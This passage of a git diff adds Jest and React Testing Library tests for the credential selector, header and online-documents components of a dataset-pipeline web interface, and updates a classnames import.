+      // Assert
+      expect(screen.getByText('Numeric ID Credential')).toBeInTheDocument()
+    })
+
+    it('should handle large number of credentials', () => {
+      // Arrange
+      const manyCredentials = createMockCredentials(100)
+      const props = createDefaultProps({
+        credentials: manyCredentials,
+        currentCredentialId: 'cred-50',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      expect(screen.getByText('Credential 50')).toBeInTheDocument()
+    })
+
+    it('should handle credential selection with duplicate names', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const duplicateCredentials = [
+        createMockCredential({ id: 'cred-1', name: 'Same Name' }),
+        createMockCredential({ id: 'cred-2', name: 'Same Name' }),
+      ]
+      const props = createDefaultProps({
+        credentials: duplicateCredentials,
+        currentCredentialId: 'cred-1',
+        onCredentialChange: mockOnChange,
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Get all "Same Name" elements
+      // 1 in trigger (current) + 2 in dropdown (both credentials) = 3 total
+      const sameNameElements = screen.getAllByText('Same Name')
+      expect(sameNameElements.length).toBe(3)
+
+      // Click the last dropdown item (cred-2 in dropdown)
+      fireEvent.click(sameNameElements[2])
+
+      // Assert - Should call with the correct id even with duplicate names
+      expect(mockOnChange).toHaveBeenCalledWith('cred-2')
+    })
+
+    it('should not crash when clicking credential after unmount', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      const { unmount } = render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      unmount()
+
+      // Assert - Should not throw
+      expect(() => {
+        // Any cleanup should have happened
+      }).not.toThrow()
+    })
+
+    it('should handle whitespace-only credential name', () => {
+      // Arrange
+      const credentialWithWhitespace = createMockCredential({
+        id: 'cred-whitespace',
+        name: '   ',
+      })
+      const props = createDefaultProps({
+        credentials: [credentialWithWhitespace],
+        currentCredentialId: 'cred-whitespace',
+      })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Should render without crashing
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Styling and CSS Classes
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply overflow-hidden class to trigger', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      const trigger = screen.getByTestId('portal-trigger')
+      expect(trigger).toHaveClass('overflow-hidden')
+    })
+
+    it('should apply grow class to trigger', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert
+      const trigger = screen.getByTestId('portal-trigger')
+      expect(trigger).toHaveClass('grow')
+    })
+
+    it('should apply z-10 class to dropdown content', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert
+      const content = screen.getByTestId('portal-content')
+      expect(content).toHaveClass('z-10')
+    })
+  })
+
+  // ==========================================
+  // Integration with Child Components
+  // ==========================================
+  describe('Integration with Child Components', () => {
+    it('should pass currentCredential to Trigger component', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-2' })
+
+      // Act
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Trigger should display the correct credential
+      expect(screen.getByText('Credential 2')).toBeInTheDocument()
+    })
+
+    it('should pass isOpen state to Trigger component', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Assert - Initially closed
+      const portalRoot = screen.getByTestId('portal-root')
+      expect(portalRoot).toHaveAttribute('data-open', 'false')
+
+      // Act - Open
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert - Now open
+      expect(portalRoot).toHaveAttribute('data-open', 'true')
+    })
+
+    it('should pass credentials to List component', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert - All credentials should be rendered in list
+      // 3 in dropdown + 1 in trigger (current credential appears twice) = 4 total
+      const credentialNames = screen.getAllByText(/Credential \d/)
+      expect(credentialNames.length).toBe(4)
+    })
+
+    it('should pass currentCredentialId to List component', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-2' })
+      render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      // Assert - Current credential (Credential 2) appears twice:
+      // once in trigger and once in dropdown list
+      const credential2Elements = screen.getAllByText('Credential 2')
+      expect(credential2Elements.length).toBe(2)
+    })
+
+    it('should pass handleCredentialChange to List component', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      render(<CredentialSelector {...props} />)
+
+      // Act
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+      const credential3 = screen.getByText('Credential 3')
+      fireEvent.click(credential3)
+
+      // Assert - handleCredentialChange should propagate the call
+      expect(mockOnChange).toHaveBeenCalledWith('cred-3')
+    })
+  })
+
+  // ==========================================
+  // Portal Configuration
+  // ==========================================
+  describe('Portal Configuration', () => {
+    it('should configure PortalToFollowElem with placement bottom-start', () => {
+      // This test verifies the portal is configured correctly
+      // The actual placement is handled by the mock, but we verify the component renders
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      expect(screen.getByTestId('portal-root')).toBeInTheDocument()
+    })
+
+    it('should configure PortalToFollowElem with offset mainAxis 4', () => {
+      // This test verifies the offset configuration doesn't break rendering
+      const props = createDefaultProps()
+      render(<CredentialSelector {...props} />)
+
+      expect(screen.getByTestId('portal-root')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/trigger.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/trigger.tsx
index dc328ef87f..7ab4f25256 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/trigger.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/credential-selector/trigger.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import type { DataSourceCredential } from '@/types/pipeline'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { CredentialIcon } from '@/app/components/datasets/common/credential-icon'
 
 type TriggerProps = {
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/base/header.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/header.spec.tsx
new file mode 100644
index 0000000000..089f1f2810
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/base/header.spec.tsx
@@ -0,0 +1,659 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import React from 'react'
+import Header from './header'
+import type { DataSourceCredential } from '@/types/pipeline'
+
+// Mock CredentialTypeEnum to avoid deep import chain issues
+enum MockCredentialTypeEnum {
+  OAUTH2 = 'oauth2',
+  API_KEY = 'api_key',
+}
+
+// Mock plugin-auth module to avoid deep import chain issues
+jest.mock('@/app/components/plugins/plugin-auth', () => ({
+  CredentialTypeEnum: {
+    OAUTH2: 'oauth2',
+    API_KEY: 'api_key',
+  },
+}))
+
+// Mock portal-to-follow-elem - required for CredentialSelector
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const MockPortalToFollowElem = ({ children, open }: any) => {
+    return (
+      <div data-testid="portal-root" data-open={open}>
+        {React.Children.map(children, (child: any) => {
+          if (!child)
+            return null
+          return React.cloneElement(child, { __portalOpen: open })
+        })}
+      </div>
+    )
+  }
+
+  const MockPortalToFollowElemTrigger = ({ children, onClick, className, __portalOpen }: any) => (
+    <div data-testid="portal-trigger" onClick={onClick} className={className} data-open={__portalOpen}>
+      {children}
+    </div>
+  )
+
+  const MockPortalToFollowElemContent = ({ children, className, __portalOpen }: any) => {
+    if (!__portalOpen)
+      return null
+    return (
+      <div data-testid="portal-content" className={className}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem: MockPortalToFollowElem,
+    PortalToFollowElemTrigger: MockPortalToFollowElemTrigger,
+    PortalToFollowElemContent: MockPortalToFollowElemContent,
+  }
+})
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockCredential = (overrides?: Partial<DataSourceCredential>): DataSourceCredential => ({
+  id: 'cred-1',
+  name: 'Test Credential',
+  avatar_url: 'https://example.com/avatar.png',
+  credential: { key: 'value' },
+  is_default: false,
+  type: MockCredentialTypeEnum.OAUTH2 as unknown as DataSourceCredential['type'],
+  ...overrides,
+})
+
+const createMockCredentials = (count: number = 3): DataSourceCredential[] =>
+  Array.from({ length: count }, (_, i) =>
+    createMockCredential({
+      id: `cred-${i + 1}`,
+      name: `Credential ${i + 1}`,
+      avatar_url: `https://example.com/avatar-${i + 1}.png`,
+      is_default: i === 0,
+    }),
+  )
+
+type HeaderProps = React.ComponentProps<typeof Header>
+
+const createDefaultProps = (overrides?: Partial<HeaderProps>): HeaderProps => ({
+  docTitle: 'Documentation',
+  docLink: 'https://docs.example.com',
+  pluginName: 'Test Plugin',
+  currentCredentialId: 'cred-1',
+  onCredentialChange: jest.fn(),
+  credentials: createMockCredentials(),
+  ...overrides,
+})
+
+describe('Header', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText('Documentation')).toBeInTheDocument()
+    })
+
+    it('should render documentation link with correct attributes', () => {
+      // Arrange
+      const props = createDefaultProps({
+        docTitle: 'API Docs',
+        docLink: 'https://api.example.com/docs',
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link', { name: /API Docs/i })
+      expect(link).toHaveAttribute('href', 'https://api.example.com/docs')
+      expect(link).toHaveAttribute('target', '_blank')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+
+    it('should render document title with title attribute', () => {
+      // Arrange
+      const props = createDefaultProps({ docTitle: 'My Documentation' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const titleSpan = screen.getByText('My Documentation')
+      expect(titleSpan).toHaveAttribute('title', 'My Documentation')
+    })
+
+    it('should render CredentialSelector with correct props', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - CredentialSelector should render current credential name
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+    })
+
+    it('should render configuration button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should render book icon in documentation link', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - RiBookOpenLine renders as SVG
+      const link = screen.getByRole('link')
+      const svg = link.querySelector('svg')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render divider between credential selector and configuration button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Header {...props} />)
+
+      // Assert - Divider component should be rendered
+      // Divider typically renders as a div with specific styling
+      const divider = container.querySelector('[class*="divider"]') || container.querySelector('.mx-1.h-3\\.5')
+      expect(divider).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('docTitle prop', () => {
+      it('should display the document title', () => {
+        // Arrange
+        const props = createDefaultProps({ docTitle: 'Getting Started Guide' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByText('Getting Started Guide')).toBeInTheDocument()
+      })
+
+      it.each([
+        'Quick Start',
+        'API Reference',
+        'Configuration Guide',
+        'Plugin Documentation',
+      ])('should display "%s" as document title', (title) => {
+        // Arrange
+        const props = createDefaultProps({ docTitle: title })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByText(title)).toBeInTheDocument()
+      })
+    })
+
+    describe('docLink prop', () => {
+      it('should set correct href on documentation link', () => {
+        // Arrange
+        const props = createDefaultProps({ docLink: 'https://custom.docs.com/guide' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        const link = screen.getByRole('link')
+        expect(link).toHaveAttribute('href', 'https://custom.docs.com/guide')
+      })
+
+      it.each([
+        'https://docs.dify.ai',
+        'https://example.com/api',
+        '/local/docs',
+      ])('should accept "%s" as docLink', (link) => {
+        // Arrange
+        const props = createDefaultProps({ docLink: link })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByRole('link')).toHaveAttribute('href', link)
+      })
+    })
+
+    describe('pluginName prop', () => {
+      it('should pass pluginName to translation function', () => {
+        // Arrange
+        const props = createDefaultProps({ pluginName: 'MyPlugin' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert - The translation mock returns the key with options
+        // Tooltip uses the translated content
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('onClickConfiguration prop', () => {
+      it('should call onClickConfiguration when configuration icon is clicked', () => {
+        // Arrange
+        const mockOnClick = jest.fn()
+        const props = createDefaultProps({ onClickConfiguration: mockOnClick })
+        render(<Header {...props} />)
+
+        // Act - Find the configuration button and click the icon inside
+        // The button contains the RiEqualizer2Line icon with onClick handler
+        const configButton = screen.getByRole('button')
+        const configIcon = configButton.querySelector('svg')
+        expect(configIcon).toBeInTheDocument()
+        fireEvent.click(configIcon!)
+
+        // Assert
+        expect(mockOnClick).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not crash when onClickConfiguration is undefined', () => {
+        // Arrange
+        const props = createDefaultProps({ onClickConfiguration: undefined })
+        render(<Header {...props} />)
+
+        // Act - Find the configuration button and click the icon inside
+        const configButton = screen.getByRole('button')
+        const configIcon = configButton.querySelector('svg')
+        expect(configIcon).toBeInTheDocument()
+        fireEvent.click(configIcon!)
+
+        // Assert - Component should still be rendered (no crash)
+        expect(screen.getByRole('button')).toBeInTheDocument()
+      })
+    })
+
+    describe('CredentialSelector props passthrough', () => {
+      it('should pass currentCredentialId to CredentialSelector', () => {
+        // Arrange
+        const props = createDefaultProps({ currentCredentialId: 'cred-2' })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert - Should display the second credential
+        expect(screen.getByText('Credential 2')).toBeInTheDocument()
+      })
+
+      it('should pass credentials to CredentialSelector', () => {
+        // Arrange
+        const customCredentials = [
+          createMockCredential({ id: 'custom-1', name: 'Custom Credential' }),
+        ]
+        const props = createDefaultProps({
+          credentials: customCredentials,
+          currentCredentialId: 'custom-1',
+        })
+
+        // Act
+        render(<Header {...props} />)
+
+        // Assert
+        expect(screen.getByText('Custom Credential')).toBeInTheDocument()
+      })
+
+      it('should pass onCredentialChange to CredentialSelector', () => {
+        // Arrange
+        const mockOnChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnChange })
+        render(<Header {...props} />)
+
+        // Act - Open dropdown and select a credential
+        // Use getAllByTestId and select the first one (CredentialSelector's trigger)
+        const triggers = screen.getAllByTestId('portal-trigger')
+        fireEvent.click(triggers[0])
+        const credential2 = screen.getByText('Credential 2')
+        fireEvent.click(credential2)
+
+        // Assert
+        expect(mockOnChange).toHaveBeenCalledWith('cred-2')
+      })
+    })
+  })
+
+  // ==========================================
+  // User Interactions
+  // ==========================================
+  describe('User Interactions', () => {
+    it('should open external link in new tab when clicking documentation link', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - Link has target="_blank" for new tab
+      const link = screen.getByRole('link')
+      expect(link).toHaveAttribute('target', '_blank')
+    })
+
+    it('should allow credential selection through CredentialSelector', () => {
+      // Arrange
+      const mockOnChange = jest.fn()
+      const props = createDefaultProps({ onCredentialChange: mockOnChange })
+      render(<Header {...props} />)
+
+      // Act - Open dropdown (use first trigger which is CredentialSelector's)
+      const triggers = screen.getAllByTestId('portal-trigger')
+      fireEvent.click(triggers[0])
+
+      // Assert - Dropdown should be open
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+
+    it('should trigger configuration callback when clicking config icon', () => {
+      // Arrange
+      const mockOnConfig = jest.fn()
+      const props = createDefaultProps({ onClickConfiguration: mockOnConfig })
+      const { container } = render(<Header {...props} />)
+
+      // Act
+      const configIcon = container.querySelector('.h-4.w-4')
+      fireEvent.click(configIcon!)
+
+      // Assert
+      expect(mockOnConfig).toHaveBeenCalled()
+    })
+  })
+
+  // ==========================================
+  // Component Memoization
+  // ==========================================
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(Header.$$typeof).toBe(Symbol.for('react.memo'))
+    })
+
+    it('should not re-render when props remain the same', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const renderSpy = jest.fn()
+
+      const TrackedHeader: React.FC<HeaderProps> = (trackedProps) => {
+        renderSpy()
+        return <Header {...trackedProps} />
+      }
+      const MemoizedTracked = React.memo(TrackedHeader)
+
+      // Act
+      const { rerender } = render(<MemoizedTracked {...props} />)
+      rerender(<MemoizedTracked {...props} />)
+
+      // Assert - Should only render once due to same props
+      expect(renderSpy).toHaveBeenCalledTimes(1)
+    })
+
+    it('should re-render when docTitle changes', () => {
+      // Arrange
+      const props = createDefaultProps({ docTitle: 'Original Title' })
+      const { rerender } = render(<Header {...props} />)
+
+      // Assert initial
+      expect(screen.getByText('Original Title')).toBeInTheDocument()
+
+      // Act
+      rerender(<Header {...props} docTitle="Updated Title" />)
+
+      // Assert
+      expect(screen.getByText('Updated Title')).toBeInTheDocument()
+    })
+
+    it('should re-render when currentCredentialId changes', () => {
+      // Arrange
+      const props = createDefaultProps({ currentCredentialId: 'cred-1' })
+      const { rerender } = render(<Header {...props} />)
+
+      // Assert initial
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+
+      // Act
+      rerender(<Header {...props} currentCredentialId="cred-2" />)
+
+      // Assert
+      expect(screen.getByText('Credential 2')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases
+  // ==========================================
+  describe('Edge Cases', () => {
+    it('should handle empty docTitle', () => {
+      // Arrange
+      const props = createDefaultProps({ docTitle: '' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - Should render without crashing
+      const link = screen.getByRole('link')
+      expect(link).toBeInTheDocument()
+    })
+
+    it('should handle very long docTitle', () => {
+      // Arrange
+      const longTitle = 'A'.repeat(200)
+      const props = createDefaultProps({ docTitle: longTitle })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText(longTitle)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in docTitle', () => {
+      // Arrange
+      const specialTitle = 'Docs & Guide <v2> "Special"'
+      const props = createDefaultProps({ docTitle: specialTitle })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialTitle)).toBeInTheDocument()
+    })
+
+    it('should handle empty credentials array', () => {
+      // Arrange
+      const props = createDefaultProps({
+        credentials: [],
+        currentCredentialId: '',
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - Should render without crashing
+      expect(screen.getByRole('link')).toBeInTheDocument()
+    })
+
+    it('should handle special characters in pluginName', () => {
+      // Arrange
+      const props = createDefaultProps({ pluginName: 'Plugin & Tool <v1>' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - Should render without crashing
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle unicode characters in docTitle', () => {
+      // Arrange
+      const props = createDefaultProps({ docTitle: '文档说明 📚' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      expect(screen.getByText('文档说明 📚')).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Styling
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply correct classes to container', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Header {...props} />)
+
+      // Assert
+      const rootDiv = container.firstChild as HTMLElement
+      expect(rootDiv).toHaveClass('flex', 'items-center', 'justify-between', 'gap-x-2')
+    })
+
+    it('should apply correct classes to documentation link', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link')
+      expect(link).toHaveClass('system-xs-medium', 'text-text-accent')
+    })
+
+    it('should apply shrink-0 to documentation link', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link')
+      expect(link).toHaveClass('shrink-0')
+    })
+  })
+
+  // ==========================================
+  // Integration Tests
+  // ==========================================
+  describe('Integration', () => {
+    it('should work with full credential workflow', () => {
+      // Arrange
+      const mockOnCredentialChange = jest.fn()
+      const props = createDefaultProps({
+        onCredentialChange: mockOnCredentialChange,
+        currentCredentialId: 'cred-1',
+      })
+      render(<Header {...props} />)
+
+      // Assert initial state
+      expect(screen.getByText('Credential 1')).toBeInTheDocument()
+
+      // Act - Open dropdown and select different credential
+      // Use first trigger which is CredentialSelector's
+      const triggers = screen.getAllByTestId('portal-trigger')
+      fireEvent.click(triggers[0])
+
+      const credential3 = screen.getByText('Credential 3')
+      fireEvent.click(credential3)
+
+      // Assert
+      expect(mockOnCredentialChange).toHaveBeenCalledWith('cred-3')
+    })
+
+    it('should display all components together correctly', () => {
+      // Arrange
+      const mockOnConfig = jest.fn()
+      const props = createDefaultProps({
+        docTitle: 'Integration Test Docs',
+        docLink: 'https://test.com/docs',
+        pluginName: 'TestPlugin',
+        onClickConfiguration: mockOnConfig,
+      })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert - All main elements present
+      expect(screen.getByText('Credential 1')).toBeInTheDocument() // CredentialSelector
+      expect(screen.getByRole('button')).toBeInTheDocument() // Config button
+      expect(screen.getByText('Integration Test Docs')).toBeInTheDocument() // Doc link
+      expect(screen.getByRole('link')).toHaveAttribute('href', 'https://test.com/docs')
+    })
+  })
+
+  // ==========================================
+  // Accessibility
+  // ==========================================
+  describe('Accessibility', () => {
+    it('should have accessible link', () => {
+      // Arrange
+      const props = createDefaultProps({ docTitle: 'Accessible Docs' })
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link', { name: /Accessible Docs/i })
+      expect(link).toBeInTheDocument()
+    })
+
+    it('should have accessible button for configuration', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+    })
+
+    it('should have noopener noreferrer for security on external links', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<Header {...props} />)
+
+      // Assert
+      const link = screen.getByRole('link')
+      expect(link).toHaveAttribute('rel', 'noopener noreferrer')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/local-file/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/local-file/index.tsx
index f25f02fdbd..cb5899ab28 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/local-file/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/local-file/index.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { RiDeleteBinLine, RiErrorWarningFill, RiUploadCloud2Line } from '@remixicon/react'
 import DocumentFileIcon from '@/app/components/datasets/common/document-file-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CustomFile as File, FileItem } from '@/models/datasets'
 import { ToastContext } from '@/app/components/base/toast'
 import { upload } from '@/service/base'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.spec.tsx
new file mode 100644
index 0000000000..467f6d9816
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/online-documents/index.spec.tsx
@@ -0,0 +1,1357 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import OnlineDocuments from './index'
+import type { DataSourceNotionWorkspace, NotionPage } from '@/models/common'
+import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
+import { VarKindType } from '@/app/components/workflow/nodes/_base/types'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock useDocLink - context hook requires mocking
+const mockDocLink = jest.fn((path?: string) => `https://docs.example.com${path || ''}`)
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => mockDocLink,
+}))
+
+// Mock dataset-detail context - context provider requires mocking
+let mockPipelineId = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (s: any) => any) => selector({ dataset: { pipeline_id: mockPipelineId } }),
+}))
+
+// Mock modal context - context provider requires mocking
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContextSelector: (selector: (s: any) => any) => selector({ setShowAccountSettingModal: mockSetShowAccountSettingModal }),
+}))
+
+// Mock ssePost - API service requires mocking
+const mockSsePost = jest.fn()
+jest.mock('@/service/base', () => ({
+  ssePost: (...args: any[]) => mockSsePost(...args),
+}))
+
+// Mock Toast.notify - static method that manipulates DOM, needs mocking to verify calls
+const mockToastNotify = jest.fn()
+jest.mock('@/app/components/base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: (options: any) => mockToastNotify(options),
+  },
+}))
+
+// Mock useGetDataSourceAuth - API service hook requires mocking
+const mockUseGetDataSourceAuth = jest.fn()
+jest.mock('@/service/use-datasource', () => ({
+  useGetDataSourceAuth: (params: any) => mockUseGetDataSourceAuth(params),
+}))
+
+// Note: zustand/react/shallow useShallow is imported directly (simple utility function)
+
+// Mock store
+const mockStoreState = {
+  documentsData: [] as DataSourceNotionWorkspace[],
+  searchValue: '',
+  selectedPagesId: new Set<string>(),
+  currentCredentialId: '',
+  setDocumentsData: jest.fn(),
+  setSearchValue: jest.fn(),
+  setSelectedPagesId: jest.fn(),
+  setOnlineDocuments: jest.fn(),
+  setCurrentDocument: jest.fn(),
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../store', () => ({
+  useDataSourceStoreWithSelector: (selector: (s: any) => any) => selector(mockStoreState),
+  useDataSourceStore: () => mockDataSourceStore,
+}))
+
+// Mock Header component
+jest.mock('../base/header', () => {
+  const MockHeader = (props: any) => (
+    <div data-testid="header">
+      <span data-testid="header-doc-title">{props.docTitle}</span>
+      <span data-testid="header-doc-link">{props.docLink}</span>
+      <span data-testid="header-plugin-name">{props.pluginName}</span>
+      <span data-testid="header-credential-id">{props.currentCredentialId}</span>
+      <button data-testid="header-config-btn" onClick={props.onClickConfiguration}>Configure</button>
+      <button data-testid="header-credential-change" onClick={() => props.onCredentialChange('new-cred-id')}>Change Credential</button>
+      <span data-testid="header-credentials-count">{props.credentials?.length || 0}</span>
+    </div>
+  )
+  return MockHeader
+})
+
+// Mock SearchInput component
+jest.mock('@/app/components/base/notion-page-selector/search-input', () => {
+  const MockSearchInput = ({ value, onChange }: { value: string; onChange: (v: string) => void }) => (
+    <div data-testid="search-input">
+      <input
+        data-testid="search-input-field"
+        value={value}
+        onChange={e => onChange(e.target.value)}
+        placeholder="Search"
+      />
+    </div>
+  )
+  return MockSearchInput
+})
+
+// Mock PageSelector component
+jest.mock('./page-selector', () => {
+  const MockPageSelector = (props: any) => (
+    <div data-testid="page-selector">
+      <span data-testid="page-selector-checked-count">{props.checkedIds?.size || 0}</span>
+      <span data-testid="page-selector-search-value">{props.searchValue}</span>
+      <span data-testid="page-selector-can-preview">{String(props.canPreview)}</span>
+      <span data-testid="page-selector-multiple-choice">{String(props.isMultipleChoice)}</span>
+      <span data-testid="page-selector-credential-id">{props.currentCredentialId}</span>
+      <button
+        data-testid="page-selector-select-btn"
+        onClick={() => props.onSelect(new Set(['page-1', 'page-2']))}
+      >
+        Select Pages
+      </button>
+      <button
+        data-testid="page-selector-preview-btn"
+        onClick={() => props.onPreview?.('page-1')}
+      >
+        Preview Page
+      </button>
+    </div>
+  )
+  return MockPageSelector
+})
+
+// Mock Title component
+jest.mock('./title', () => {
+  const MockTitle = ({ name }: { name: string }) => (
+    <div data-testid="title">
+      <span data-testid="title-name">{name}</span>
+    </div>
+  )
+  return MockTitle
+})
+
+// Mock Loading component
+jest.mock('@/app/components/base/loading', () => {
+  const MockLoading = ({ type }: { type: string }) => (
+    <div data-testid="loading" data-type={type}>Loading...</div>
+  )
+  return MockLoading
+})
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockNodeData = (overrides?: Partial<DataSourceNodeType>): DataSourceNodeType => ({
+  title: 'Test Node',
+  plugin_id: 'plugin-123',
+  provider_type: 'notion',
+  provider_name: 'notion-provider',
+  datasource_name: 'notion-ds',
+  datasource_label: 'Notion',
+  datasource_parameters: {},
+  datasource_configurations: {},
+  ...overrides,
+} as DataSourceNodeType)
+
+const createMockPage = (overrides?: Partial<NotionPage>): NotionPage => ({
